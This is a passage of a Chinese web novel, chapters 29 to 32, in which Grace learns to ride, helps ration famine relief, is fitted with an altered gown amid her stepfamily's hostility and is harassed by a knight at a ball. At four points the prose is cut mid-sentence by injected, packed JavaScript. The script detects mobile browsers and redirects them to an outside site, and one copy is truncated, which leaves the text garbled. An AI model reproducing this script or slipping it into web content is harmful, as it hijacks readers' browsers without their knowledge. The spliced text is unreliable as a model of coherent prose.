格蕾丝依旧气鼓鼓地攥着他胸前那片被扯皱的衣料，威廉低头看着胸前那只固执的小手，又看看她绷紧的侧脸线条，心头那点残存的困惑和因她冒险而生的责备，瞬间被一种更柔软、更沉重的情绪取代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787833|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，那是对自己引发这一切的自责。 “好了，”他低声道，声音比刚才任何一次都要温和，带着认输的叹息，“是我不对。” 他顿了顿，仿佛在积攒某种陌生的勇气，“格蕾丝，我道歉。我不该……用那种态度对你。” 他感受到胸前那只紧攥的小手似乎极其轻微地松动了一丝丝，“回去，回去我就教你，”他补充道，语气认真起来，“好好教你骑马，一步一步来，我保证。” 那紧握的小手终于慢慢松开了，滑落下去，重新缩回温暖的披风里，只留下他胸前一片狼狈的褶皱。 马儿继续前行，踏过一片向阳的坡地。 冬日吝啬的阳光艰难地穿透铅灰色的云层，勉强洒下一点微弱的光亮。 就在这微光里，威廉的目光被路边枯草丛中星星点点的洁白攫住了。 那是雪滴花，细小的铃形花朵低垂着，花瓣洁白近乎透明，在萧瑟的荒原上顽强地吐露着生机。它们那么小，却又那么固执地宣告着生命的存在。 费利克斯早上那句带着笑意的话，突然毫无预兆地撞进威廉的脑海：“……女孩子总是会喜欢好看的东西的……” 威廉的心跳莫名地快了一拍。他几乎没有犹豫，猛地一勒缰绳：“吁——！”马儿顺从地停下脚步。费利克斯有些诧异地看着威廉。 威廉动作利落地翻身下马，靴子踩在干硬的冻土上发出沉闷的声响。 他大步走向那片开着零星小花的草丛，在费利克斯略带讶异和格蕾丝完全不解的目光中，弯下高大的身躯，显得有些笨拙地开始采摘。 他的手指小心地避开娇嫩的花茎，将那一朵朵顶着寒风绽放的洁白小花连根拔起，尽量不损伤那脆弱的根须。 很快，他手中就攒了满满一大把，细小的花朵在他宽大的掌心里簇拥着，像捧着一捧微缩的星光。 他重新上马，动作带着点不易察觉的急促。坐稳后，他看也没看格蕾丝，只是将那束还沾着泥土和细小冰凌的雪滴花，有些生硬地直接塞到了她环抱在身前的双手里。 格蕾丝下意识地接住。 冰冷的泥土气息和一丝极其微弱的、属于旷野的冷冽清香瞬间钻入鼻腔。 她低下头，看着怀中这束突如其来的、沾着泥土的野花，又抬起头，兜帽下那双棕褐色的眼睛里充满了纯粹的困惑，她无声地用眼神询问着。 威廉的视线飞快地从她脸上掠过，又迅速移开，专注地盯着前方马儿的鬃毛。 他感到一股陌生的热度不受控制地涌上耳根和脖颈，连他自己都觉得莫名其妙。他清了清嗓子，声音有些发紧，目光依旧固执地锁定前方，仿佛在对着空气说话： “没什么，”他顿了顿，喉结滚动了一下，“只是……希望你喜欢。” 马蹄声再次响起，哒哒地敲打着冻土。 格蕾丝低下头，纤细苍白的手指小心翼翼地拂过那些脆弱洁白的花瓣，指腹沾上一点湿冷的泥土和融化的雪水。 她没有说话，只是将那一小束寒冷季节里倔强的生命，更紧地拢在了胸前的披风里。 29. 第二十九章 后一日清晨，威廉果然信守承诺，带着格蕾丝来到救济点附近一片相对开阔些的雪地，准备教她骑马。 这片空地其实算不上理想，积雪虽被踩踏过，但底下坑洼不平，冻硬的土块和偶尔露出的枯草根茎都构成初学者的障碍，四周散落的杂物也需得小心避让。 然而，时间紧迫，环境也就只能将就了。 “别怕，握住这里，”威廉将缰绳调整好，塞进格蕾丝冻得有些发红的手里，“身体放松，随着马的动作起伏，不要对抗它。眼睛看前方，而不是盯着马脖子。” 格蕾丝深吸一口冰冷的空气，点了点头。 威廉已经为她提前挑选了马匹里最为温驯的那一个。但当格蕾丝跨上那匹母马时，她的动作还是有很明显的生涩感，身体直直的绷得很紧。 马匹也似乎感受到了她的紧张，不安地踏了踏蹄子。 威廉耐心地牵住笼头，引导马匹缓缓走动。起初几步，格蕾丝的身体在鞍座上摇晃得厉害，她用力抓着鞍桥，指节攥紧。 威廉在一旁不断提醒：“放松膝盖……格蕾丝，腰背挺直……对，感觉它迈步的节奏……” 出乎威廉意料的是，格蕾丝的悟性极高。 她似乎天生就懂得观察和模仿，也拥有一种与动物沟通的直觉。不到一个上午，她紧绷的身体渐渐找到了协调感，不再是被动地被马匹驮着，而是开始尝试用身体细微的动作去引导和配合。 她小心翼翼地尝试着让马匹小跑起来，虽然动作还远不够流畅优雅，颠簸也让她脸颊泛红，呼吸急促，但那份专注和逐渐显现的掌控感，已经让威廉刮目相看。 “你学得很快，”威廉看着她又一次尝试小跑后稳稳停下，由衷地称赞道，“比我预想的要好得多。” 格蕾丝的脸颊因为运动和兴奋更红了，她抬手抹了下额角沁出的细汗，罕见的露出一个带着点腼腆却明亮的笑容：“是它很乖。” 她轻轻拍了拍马的脖颈，马儿温顺地甩了甩头。 他们回到粥棚附近时，空气中弥漫着熟悉的、混合着麦香和柴火烟气的味道。 格蕾丝提出的那个掺入少量洁净小石子的方法，已经实行了几天。它的效果也是显著的。 最初几天，灾民们的怨声载道几乎盖过了锅碗瓢盆的碰撞声，有人愤怒地摔了碗，有人大声咒骂着侍卫和威廉的心黑。 然而，在侍卫们一遍遍的解释下：粮食有限，只为确保真正饥饿的人能吃到一口。再加上威廉的亲自安抚下，那些尖锐的抗议声渐渐低沉下去，最终变成了无可奈何的沉默和接受。 此刻的粥棚秩序井然，与之前的混乱拥挤大不相同。 长长的队伍缓慢移动着，人们捧着各自的容器，眼神麻木或带着一丝疲惫的期盼。 打粥的侍卫们动作麻利，勺子沉入粥桶，再舀起时，那粘稠的麦粥里偶尔可见零星几颗灰白的小石子。 领到粥的人，大多默默地走到一旁，低着头，用木勺或手指仔细地挑拣着石子，然后才小口小口地啜食。重复排队、试图多领一份的人确实少了很多。 那些真正面黄肌瘦、步履蹒跚的老人和孩子，成了队伍里的主要面孔。虽然气氛压抑，但有限的粮食，确实流向了更急需的胃里。 威廉看着这一切，心中对格蕾丝的聪慧和那份看似冷酷实则有效的洞察力，又添了几分复杂的感触。 下午，威廉和格蕾丝正策马在稍远处的一片林间空地练习，马蹄踏在积雪覆盖的枯叶上，发出沙沙的声响。 格蕾丝已经能比较自如地控制马匹小跑和转向，她的进步让威廉感到欣慰。 这时，远处传来一阵急促的马蹄声。只见卢卡斯的管家罗杰斯，正裹着厚厚的斗篷，骑着马朝他们奔来。 罗杰斯在格蕾丝面前勒住马，恭敬地行了一礼，从怀中取出一封精致的请柬。 “格蕾丝小姐，威廉少爷，”罗杰斯的声音还带着赶路后的微喘，“我家主人卢卡斯，邀请您二位后天晚上光临府邸参加晚宴。听闻格蕾丝小姐为赈灾殚精竭虑，十分感佩，特设薄宴，希望能与您详谈，也为本地的困境尽一份心力。” 他双手奉上请柬。 格蕾丝伸手接过了那封带着火漆印的信函，端详了片刻。 卢卡斯作为新晋的贵族，许多人都希望能征求的好意，他的态度和影响力在这段时间内确实举足轻重。 这场宴会，无疑是为灾民们争取来的更多援助的绝佳机会。 她看了一眼身旁的威廉，他挺立在马上，眼神正落在罗杰斯身上。 “感谢您的到来，罗杰斯管家。请转告卢卡斯，我和哥哥威廉一定准时赴约，再次感谢他的盛情邀请。”格蕾丝温声回道。 罗杰斯再次行礼，便调转马头离开了。 随后，格蕾丝与威廉迅速返回了救济点。 他们需要确保离开赴宴的这段时间，救济点的运转不会出问题。 两人仔细盘点了剩余的粮食储备。 麦子、豆类、还有少量腌肉，在账册上一项项核对清楚。威廉和格蕾丝又亲自去粮仓查验了一番。扣除必要的损耗和每日固定的定量发放，这些存粮勉强能支撑到他们赴宴归来后的两三天。 这给了威廉一丝喘息的空间。 而那个与威廉做了约定的犹太商人显然失约了，这么长的时间内都未将粮食运送过来，但是眼下他们没有时间去找他算账。 “看来，后天的宴会至关重要，”威廉合上账册，对格蕾丝说道，语气凝重，“我们必须回去一趟，换身得体的衣服，体面地去见卢卡斯和其他人。只有赢得他们的信任和支持，才能为这里争取到更多的粮食。” 他心中暗暗下定决心，一定要在宴会上说服这些乡绅贵族们慷慨解囊。 格蕾丝轻轻点头，没有多言。 次日午后，威廉和格蕾丝便动身返回埃斯顿庄园，救济点的事务便暂时托付给了威廉最为信任的侍卫长费利克斯。 雪后的道路更加难行，马匹深一脚浅一脚地跋涉着，凛冽的寒风卷起地上的雪花，扑打在脸上。 当那座熟悉的、被积雪覆盖的埃斯顿庄园轮廓终于出现在视野尽头时，威廉心中竟涌起一股难以言喻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792389|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疏离感。这里的一切，与救济点那个充满苦难、挣扎却充满了他当下责任的世界，仿佛被一道无形的壁垒隔开。 庄园大门紧闭着，如同一个沉默而冷漠的守卫。 威廉上前叩响了沉重的门环。 过了片刻，大门才缓缓打开一条缝。开门的是庄园里的一个中年男仆。当他看清门外风雪中站着的是威廉少爷时，脸上立刻堆起训练有素的恭敬笑容，连忙将门完全拉开，躬身行礼：“威廉少爷！您可回来了！这天气……” 然而，当他的目光越过威廉，落到威廉身后裹在厚厚斗篷里的格蕾丝身上时，那恭敬的笑容瞬间凝固，随即被一种无法掩饰的惊愕取代。 他的眼睛瞪得溜圆，嘴巴微张，仿佛看到了什么不可思议的东西。那眼神里充满了疑问和难以置信。 这位被夫人不喜、在那样寒冷彻骨的大雪天被赶出庄园的格蕾丝小姐，居然没有冻毙在荒野？她不仅活了下来，还找到了远在救济点的威廉少爷？现在，她竟然又跟着少爷一起，堂而皇之地回来了？ 男仆的惊诧只持续了短短一瞬，他立刻意识到自己的失态，迅速垂下眼帘，强行压下了翻腾的思绪，脸上的表情重新恢复成低眉顺眼的恭敬模样，但那最初的震惊之色，如同投入湖面的石子激起的涟漪，虽已平复，痕迹犹在。 他侧身让开通道，声音恢复了平稳：“少爷，格蕾丝小姐，快请进，外面太冷了。” 威廉将男仆瞬间的表情变化尽收眼底，心中了然，却不动声色，只是淡淡地说：“把马牵去马厩，好生照料。” 他侧身让格蕾丝先进门。 格蕾丝踏入熟悉的门厅，扑面而来的暖意夹杂着打蜡地板和旧家具特有的混合气味，让她微微顿了一下。 她解下厚重的斗篷，露出里面沾着泥点和雪水的朴素衣裙。她的动作很平静，仿佛没有注意到男仆刚才的异样。 男仆接过威廉脱下的斗篷，一边吩咐另一个听到动静跑来的小马倌去牵马，一边对威廉说：“少爷，我立刻派人去禀告夫人您回来了。”他的语气恢复了惯常的殷勤，但眼神在掠过格蕾丝时，依旧带着一丝不易察觉的探究和困惑。 “嗯。”威廉应了一声，环顾着这熟悉又有些陌生的大厅。 壁炉里的火烧得很旺，驱散了他们一路带来的寒气。 华丽的地毯、墙上的肖像画、擦拭得一尘不染的银质烛台，一切都和他离开时一样，秩序井然，富贵而冰冷。 这里的时间仿佛凝固了，与外面那个生死挣扎、雪泥满地的世界毫无关联。 他看了一眼格蕾丝，她正安静地站在门厅中央，目光平静地扫过四周，脸上看不出太多情绪，只有长途跋涉后的疲惫和一丝不易察觉的紧绷。 男仆已经匆匆走向通往内宅的走廊，显然是去通知子爵夫人了。 空旷的门厅里只剩下威廉和格蕾丝，以及壁炉里木柴燃烧发出的噼啪声。 暖意包裹着他们冻僵的四肢，但空气中弥漫着一种无形的压力，比户外的风雪更让人感到沉重。 庄园的平静之下，暗流涌动。 30. 第三十章 Catfight——猫斗，指女人之间的争斗（贬义） 男仆的脚步声刚消失在走廊尽头，楼梯上就传来一阵急促的脚步声。 艾米莉夫人出现在楼梯转角处，她的裙摆扫过台阶，脸上的表情在看清格蕾丝的瞬间凝固了一瞬，随即又舒展开来。 “威廉，我亲爱的儿子，”她的声音轻柔得像是羽毛拂过，“你终于回来了。” 她的目光扫过格蕾丝，嘴角微微上扬，“格蕾丝也回来了，真是……令人意外。我听说救济点那边情况很糟？” 格蕾丝微微低头，“夫人。” 艾米莉缓步走下楼梯，丝绸裙摆发出细微的摩擦声。 “我每天都在担心那些可怜的灾民，”她说着，眼睛却盯着格蕾丝沾满泥点的裙角，“听说你们想出了……特别的办法来分配粮食？” 威廉向前一步，“格蕾丝的建议很有效，现在救济点的秩序好多了。” “是吗？”艾米莉的微笑纹丝不动，“我很好奇是什么样的建议。”她的目光刺向了格蕾丝。 “在粥里掺小石子，”格蕾丝平静地回答，“这样只有真正饥饿的人才会吃。” 艾米莉的眉毛几乎不可察觉地跳动了一下。“多么……实用的主意。” 她转向威廉，“我听说，卢卡斯派人送来了邀请函？” “是的，母亲。我和格蕾丝后天要去赴宴。” 艾米莉的手指轻轻敲击着楼梯扶手。“威廉，亲爱的，你不觉得应该带上玛格丽特和凯瑟琳吗？她们才是你的亲妹妹。” 她的声音依然柔和，每个字都像裹了蜜一样甜，但说出口的话与此相反，“至于格蕾丝……她恐怕没有合适的礼服吧？” 闻言，威廉的表情瞬间变得有些冷硬，他迎着母亲说道：“格蕾丝必须去，她对赈灾情况最了解。” “当然，当然，”艾米莉轻叹一声，“我只是担心……她之前的衣服，我以为她离家出走了，就让女仆处理掉了。” 她转向格蕾丝，语气突然变得关切，“你不会怪我吧，我亲爱的女儿？” 格蕾丝的手指微微收紧。“不会的，夫人。” “那么，”艾米莉的嘴角勾起一丝显而易见的弧度，“只能向你的妹妹们借一件了。我想玛格丽特会愿意帮忙的。” “不过，玛格丽特和凯瑟琳的衣服恐怕不一定适合你。”艾米莉笑意盈盈对着格蕾丝说道。 就在这时，楼梯上传来一阵轻快的脚步声。 玛格丽特出现在走廊的尽头。她穿着精致的浅粉色衣裙，浅棕色的卷发披散在肩上。 “我听说哥哥回来了——”她的声音在看到格蕾丝时戛然而止，脸色瞬间变得非常难看。 “玛格丽特，”艾米莉温柔地说，“格蕾丝需要一件礼服去参加卢卡斯家的晚宴，你愿意借她一件吗？” 玛格丽特的眼睛眯了起来。 “借给她？”她的声音提高了八度，“我的衣服？给这个——” 她突然收住了话头，深吸一口气，“我的衣服都太紧了，她穿不下的。” 威廉的眉头紧锁。“凯瑟琳呢？” “凯瑟琳的她也穿不下！”玛格丽特抢在她母亲开口前答了话。 威廉的眉头皱得更紧了。“玛格丽特，别这样。格蕾丝需要一件礼服，这对赈灾很重要。” “那就让她光着身子去好了，”玛格丽特冷笑道，“反正她母亲也不懂得什么叫体面。” 格蕾丝声音平稳地回答道：“如果实在没有合适的衣服，我可以不去的，威廉哥哥。” “不行，”威廉斩钉截铁地说，“你必须去。” 他转向艾米莉，“母亲，请立刻派人去请裁缝。至于衣服……”他的目光扫过玛格丽特，“我记得凯瑟琳有几件不那么……鲜艳的礼服。” 艾米莉的嘴唇抿成一条细线。“凯瑟琳的衣服都是定制的，尺寸恐怕……” “那就改制，”威廉打断她，“现在就去请裁缝。” “你必然要她去？威廉？”艾米莉夫人凝视着儿子，声音里已带上压抑的怒意。 艾米莉深吸一口气，转身对站在角落里的女仆说：“去请史密斯夫人来，立刻。”她的声音平静得可怕。 女仆匆匆离开后，走廊里陷入一阵沉默。凯瑟琳不知何时也出现在了楼梯口，她穿着一件墨绿色的长裙，静静地观察着这一切。 “凯瑟琳，”威廉转向她，“能借一件礼服给格蕾丝吗？只需要一天。” 凯瑟琳缓步走下楼梯，她的动作优雅得像一只猫。 “我的衣服？”她的声音很轻，“恐怕都不太适合……格蕾丝的风格。”她的目光在格蕾丝身上停留了片刻，“不过既然威廉哥哥开口了，我可以看看。” 她转向艾米莉，“母亲，那件深蓝色的丝绸礼服怎么样？去年做的，我只穿过一次。” 艾米莉的表情微微松动。“那件……也许可以。”她的声音里带着明显的不情愿。 玛格丽特不可置信地看着姐姐和母亲。“你们真的要帮她？”她的声音因为愤怒而颤抖。 凯瑟琳轻轻拍了拍妹妹的手背。“这是为了‘赈灾’，玛格丽特。我们都要做出一点……牺牲。” 裁缝史密斯夫人在一小时后匆匆赶到。她是个五十多岁的妇人，手指粗糙但动作灵巧。当她看到那件深蓝色礼服和格蕾丝的身材时，眉头紧紧皱了起来。 “这改动可不小，”她低声说，“腰围要收紧至少两英寸，胸围要放大，裙摆也要改短……”她抬头看向艾米莉，“夫人，一个晚上恐怕……” “尽力而为，”艾米莉冷淡地说，“工钱加倍。” 史密斯夫人犹豫了一下，转向格蕾丝。“小姐，请跟我到更衣室来，我需要量尺寸。” 格蕾丝跟着裁缝离开后，艾米莉转向威廉。“你太纵容她了，”她的声音压得很低，“这会带来麻烦的。” 威廉直视着母亲的眼睛。 “格蕾丝救了至少二十个灾民的命，母亲。她比我们任何一个人都更值得尊重。” 艾米莉的眼中闪过一丝痛苦。“你不明白……”她的声音恨恨地，“她和她母亲一样，会毁了这个家。” 凯瑟琳适时地插话：“威廉哥哥，能跟我们说说救济点的情况吗？”她的声音甜美而关切，巧妙地转移了现下的话题。 威廉看了妹妹一眼，开始讲述灾区的见闻。 玛格丽特不情不愿地听着，时不时用怨恨的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807747|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞟向更衣室的方向。 更衣室里，格蕾丝安静地站着，让裁缝在她身上比划。史密斯夫人的动作很专业，但她的眼神中带着一丝丝对格蕾丝的怜悯。 “会有点紧，小姐，”她小声说，“但我会尽量让它合身。” 格蕾丝点点头。“谢谢您，史密斯夫人。”她的声音很平静，仿佛刚才的冲突从未发生。 裁缝叹了口气，继续埋头工作。针线在布料间穿梭的声音在安静的更衣室里显得格外清晰。 史密斯夫人用别针固定着布料，时不时让格蕾丝转身检查。她粗糙的手指偶尔碰到格蕾丝的手臂，触感冰凉。 “抬手，小姐。”裁缝轻声说。 格蕾丝顺从地抬起手臂，丝绸布料在她身上沙沙作响。史密斯夫人蹲下身，开始调整裙摆的长度。 “您的手艺很好。”格蕾丝突然说道。 史密斯夫人手上的动作顿了顿。“做了三十年了，”她低声回答，“年轻时在伦敦最好的裁缝店当过学徒。” 她的语气里带着一丝久违的自豪，但很快又恢复了往常的平静。“请转过去，小姐，我要看看后背。” 格蕾丝转过身，面对着穿衣镜。镜中的女孩面色苍白，脸上有着浅浅的疤痕，眼下是熬了几天的淡淡的阴影。礼服在她身上显得过于宽松，像小孩偷穿大人的衣服。 “会合身的，”史密斯夫人安慰道，虽然她心里清楚时间太紧迫，“我今晚不睡了也要改出来。” 门外传来脚步声，凯瑟琳的声音响起：“史密斯夫人，需要帮忙吗？” 裁缝连忙去开门。凯瑟琳站在门口，手里拿着一个针线盒。“我想也许用得上。”她微笑着说，目光却越过裁缝的肩膀，落在格蕾丝身上。 “谢谢您，小姐。”史密斯夫人接过针线盒。 凯瑟琳走进更衣室，绕着格蕾丝慢慢走了一圈。“深蓝色很适合你，”她轻声说，“比我想象的还要合适。” 她的手指轻轻抚过礼服的肩线，“这里需要收紧一点。” 史密斯夫人点点头。“是的，小姐。我正打算这么做。” 凯瑟琳从针线盒里取出一卷银线。“用这个做装饰如何？在领口和袖口绣上花纹，能遮住一些接缝的痕迹。” 格蕾丝安静地站着，感受着布料在身上的轻微拉扯。凯瑟琳的靠近让她不自觉地绷紧了身体，但她的表情依然平静。 “那会很漂亮，”史密斯夫人赞同道，“但时间……” “我帮你，”凯瑟琳说，“我的刺绣还不错。”她转向格蕾丝，“不介意我参与吧？” 格蕾丝迎上她的目光。“当然不介意，谢谢你的好意。” 凯瑟琳的微笑加深了。“毕竟是为了赈灾，我们都应该出一份力。”她拿起针线，动作娴熟地开始穿针。 史密斯夫人松了口气，继续埋头工作。房间里只剩下布料摩擦声和针线穿过丝绸的细微声响。 两小时后，礼服已经有了雏形。凯瑟琳确实是个好帮手，她的刺绣完美地遮盖了几处不得已的接缝。史密斯夫人擦了擦额头的汗，让格蕾丝再次转身检查。 “再收一下腰线，”她自言自语道，“然后加一条缎带……” 门却突然被推开。 31. 第三十一章 门被推开后，玛格丽特闯了进来，她神情不忿地尖声叫道：“你们怎么还在弄这件破衣服？晚餐都准备好了！” 说着，她的目光落到了还是半成品的礼服上，上边经过改制已经看得出成品礼服的雏形了。看着这件礼服，玛格丽特的面色变得难看了起来，她指着史密斯夫人手上的那条浅蓝色丝制缎带说道：“这是！我的缎带！凯瑟琳！你怎么能把我的东西给她用！” 凯瑟琳有些头疼地看着自己蠢笨的姐姐，她叹了一口气说道：“只是一条旧缎带，姐姐。你去年就说不要了的。” “但是我没说要给她用！”玛格丽特显然忍不了了，她几步冲到了裁缝面前，一把夺过她手上的缎带，踩在脚底，大声呵斥道：“让她用自己的东西。” 格蕾丝平静地站在原地看着玛格丽特的行为，她冷静地对史密斯夫人说：“我不需要缎带，这样已经很好了。” 史密斯夫人有些为难地看着手上的礼服，说道：“可是腰线这里……” “用同色的线缝一道边就行，”凯瑟琳突然说道，“反而更加简洁大方。”说完，她站起身，整理了一下弄皱的裙子对玛格丽特说道：“别闹了姐姐，母亲还在等我们吃晚餐。我们先去吧。” 玛格丽特出门前狠狠地瞪了格蕾丝一眼，转身摔了门。凯瑟琳更加头疼了，她回身对格蕾丝说：“史密斯夫人大概是会工作到很晚，女仆会为你们送来晚餐。相信你也不愿跟我们共进晚餐吧。” 说完，凯瑟琳也转身离去。门关上后，史密斯夫人显然松了一口气，她温和地对格蕾丝说道：“再坚持一会儿吧，小姐，很快就好了。” 格蕾丝闻言点点头。她的肩膀早已因为长时间地保持同一姿势而酸痛，但她并没有抱怨。窗外，天色已经暗了下来，呼啦啦的大风再一次席卷了这片土地，窗棱在狂风的吹袭之下吃棱棱地发出声响。 晚餐时分，餐厅内的气氛格外沉闷。威廉坐在长桌的一端，对面正是他不大愉悦的母亲。玛格丽特则不停地用叉子戳着盘子中的食物，银盘和叉子相触发出了轻微的碰撞声。 许是吃着无聊，玛格丽特勾勾手，让旁边的男仆跪下来服侍她吃晚餐。有了男仆的服侍，她显然开心多了，时不时地发出咯咯的笑声。 威廉皱起眉看着妹妹的行为。他正向开口却听到母亲的问话：“卢卡斯的晚宴，会有哪些人参加？” 威廉放下手中的餐具，擦了擦嘴说道：“主要是附近的地主和乡绅，还有一些从伦敦来的商人，卢卡斯答应我们为赈灾筹款募捐。” “所以你一定要带格蕾丝去？”艾米莉夫人也随之放下了餐具，神情冷冷地看着自己的儿子，这个孩子完全不像她。 “她对灾情最了解，能提供具体的数据和需求。”威廉回答道。 玛格丽特哼了一声，从男仆喂食的甜点中抬起头来道：“她就是想出风头。一个养女，凭什么代表我们家族？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827280|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“玛格丽特，”威廉警告地看了她一眼，“注意你的言辞。” 凯瑟琳轻轻搅动着汤匙。“其实带格蕾丝去也有好处，”她柔声说，“那些乡绅们看到连养女都这么关心灾民，会更愿意掏钱的。”她看向母亲，“您说是不是，母亲？” 艾米莉的嘴角抽动了一下。“也许吧。”她勉强承认。 晚餐后，威廉去更衣室查看进度。他发现格蕾丝还站在那里，而史密斯夫人正在缝最后几针。礼服的改动比他想象的要大，但效果出乎意料的好。深蓝色的丝绸贴合地包裹着格蕾丝的身躯，银线的刺绣在烛光下微微闪烁。 “快好了，少爷，”史密斯夫人疲惫地说，“再给我一小时。” 威廉点点头。“辛苦了。”他看向格蕾丝，“你需要休息。” 格蕾丝轻轻摇头。“我没事。” 威廉注意到她额头上细密的汗珠，但没有说破。“我去让人准备热水，”他说，“改好后你可以泡个澡放松一下。” 他离开时，听到史密斯夫人小声对格蕾丝说：“再坚持一下，小姐，就快好了。” 午夜时分，礼服终于完工。格蕾丝小心地脱下它，交给史密斯夫人熨烫。她的身体因为长时间的站立而僵硬，但她的表情依然平静。 女仆送来了热水。当格蕾丝终于独自一人浸泡在热水中时，她闭上眼睛，让温暖驱散身体的疲惫。明天还有更多挑战等着她，但现在，这一刻的宁静就足够了。 32. 第三十二章 误解是快乐的源泉，也是痛苦的根源。 ——《仲夏夜之梦》 凯瑟琳适时地出现了。 她姿态优雅地缓步而来，仿佛刚才只是恰好路过，而非专程等候。 “亲爱的姐姐，你总是这么毛手毛脚。”她语气轻快，带着一丝丝责备的笑意，巧妙地缓解了当前过于紧绷的气氛，也阻止了玛格丽特接下来可能的爆发。 她转身走向格蕾丝，小巧的扇子遮挡住了细细的下巴，只露出一双恰到好处的同情的眼说道：“可怜的格蕾丝，快跟我来，让女仆帮你处理一下。卢卡斯大人的管家一定备有应急的去渍皂。” 她自然地挽起格蕾丝被酒液浸湿的手臂，动作轻柔却带着强硬的味道，硬将她带离了这片令人窒息的目光中心，走向大厅侧面专供女宾整理仪容的休息室。 玛格丽特站在原地，一时间孤立无援，承受着周围那些或惊讶或鄙夷的视线，脸上红一阵白一阵。恼怒了一阵，她愤恨地走了开去。 休息室里，凯瑟琳指挥着女仆用清水和去渍皂小心地擦拭格蕾丝裙摆上的酒渍。 她站在一旁，眼里瞟着女仆的动作，语气温和地劝阻道：“玛格丽特一直都被家里宠坏了，你千万别往心里去。不过，”她话锋一转，声音压低了些，“这身礼服……确实有些仓促了。这样的声名传出去，母亲那里，恐怕又要不高兴了。” 她轻轻叹了口气，带着一丝无奈，仿佛她们是站在同一阵营的姐妹。 格蕾丝沉默着，看着深蓝布料上那片无法完全消除的暗红污痕，即便女仆已经尽心尽力了，可这块污渍仍然丑陋地趴在裙摆的大块布料上。 她只能一言不发，这一局她本不占优势，又已失了先机，不论如何回应都只是让人看了笑话。 经过简单的清理后，凯瑟琳又强行挽着格蕾丝的手回到了大厅内，“好意”地将她安置在了一旁的坐凳上，让她多加休息。 而等到舞会音乐再次响起时，凯瑟琳的目光在衣香鬓影中快速地逡巡了一遍，立马精准地锁定目标。 随后她端起了一杯酒，姿态曼妙地走向一位独自站在角落的爵士。 菲利普爵士，传闻中他那偏僻庄园里时常传出女仆难以启齿的哭诉。 凯瑟琳脸上挂着无懈可击的社交笑容，低声与他交谈了几句，眼神状似无意地朝格蕾丝的方向瞥了瞥。 很快，菲利普爵士那张略显浮肿、眼神浑浊的脸上便露出一种饶有兴味的神情。他整了整领结，迈着略显虚浮的步子，径直穿过人群，停在格蕾丝面前。 “小姐，”他微微躬身，一股混合着烟草和陈年威士忌的气息扑面而来，伸出的手带着不容拒绝的姿态，“不知我是否有这个荣幸？” 拒绝一位爵士的邀请，尤其是在众目睽睽之下，是极大的失礼。 格蕾丝抬眼，正对上凯瑟琳在不远处投来的目光。 凯瑟琳优雅地举杯，向她微微颔首，唇边那抹笑意在摇曳的灯光下显得幽深莫测。格蕾丝收回目光，将手轻轻放在达西爵士汗湿的手掌中。 舞池里，爵士的手几乎像一把铁钳，紧紧箍着她的腰，力道大得让她不适。 他浑浊黯淡的目光毫不掩饰地在她脸上、颈间流连，带着令人作呕的审视和垂涎。他随着舞步越靠越近，每一次旋转，他身上那股浓烈的酒气和烟草味道便近一步地侵袭格蕾丝的鼻子。 格蕾丝越发感到胃部一阵翻搅，只能强迫自己挺直背脊，目光越过他肥厚的肩膀，死死盯着远处墙壁上挂毯的某个花纹，将全部注意力集中在脚下，努力跟上那令人不适的节奏，避免踩到对方。 他见状越发放肆，低声说着话，内容轻佻、充满暗示，灼热的气息喷在格蕾丝的耳廓。 每一秒都漫长得几乎如同酷刑。 无法忍受。 一曲终了，格蕾丝立刻借着抽回手的劲道狠狠地抽了这位爵士一巴掌，随后微微屈膝行礼。 格蕾丝那“啪”的脆响声吸引了周围人的目光，有的人惊异地看着她和爵士俩，表情夸张地说着什么。 爵士满是惊怒地盯着格蕾丝，他显然是没想到她居然敢反手打人，这样卑贱的女人他玩\弄的多了，没有一个敢知道他身份还反抗，更何况这种反抗也是一种猫捉老鼠的乐趣。 菲利普爵士舔了舔嘴，有掌心缓缓地蹭过格蕾丝打过的位置，眼神露\骨了不少，但碍于场合没有发作。 